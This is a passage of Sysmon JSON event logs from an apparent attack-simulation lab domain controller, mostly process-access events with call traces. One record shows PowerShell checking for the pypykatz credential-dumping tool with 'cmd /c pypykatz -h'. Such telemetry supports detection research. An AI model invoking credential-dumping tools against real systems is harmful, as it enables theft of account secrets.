C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5096,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7C3B23)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7C3B23)","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5097,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.806\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.806","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5098,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.837\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.837","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5099,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.837\r\nProcessGuid: {90617006-416C-5F2D-0000-0010CDF10700}\r\nProcessId: 4176\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ljpfm3j4.22s.ps1\r\nCreationUtcTime: 2020-08-07 11:56:28.837","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.837","ProcessGuid":"{90617006-416C-5F2D-0000-0010CDF10700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ljpfm3j4.22s.ps1","CreationUtcTime":"2020-08-07 11:56:28.837","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5100,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.884\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.884","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5101,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.884\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.884","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5102,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.946\r\nProcessGuid: {90617006-416C-5F2D-0000-0010B0FD0700}\r\nProcessId: 4636\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c pypykatz -h\r\nCurrentDirectory: C:\\Users\\Administrator\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-416C-5F2D-0000-0010CDF10700}\r\nParentProcessId: 4176\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.946","ProcessGuid":"{90617006-416C-5F2D-0000-0010B0FD0700}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c pypykatz -h","CurrentDirectory":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-416C-5F2D-0000-0010CDF10700}","ParentProcessId":"4176","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} ","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5103,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.931\r\nSourceProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nSourceProcessId: 4176\r\nSourceThreadId: 4696\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010B0FD0700}\r\nTargetProcessId: 4636\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3ccc2f1d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163ff7(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163cc8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3cc150dd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c12485e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c182d2d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166223(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c1581a8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c1646db(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c164277(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163ff7(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163cc8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3cc150dd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c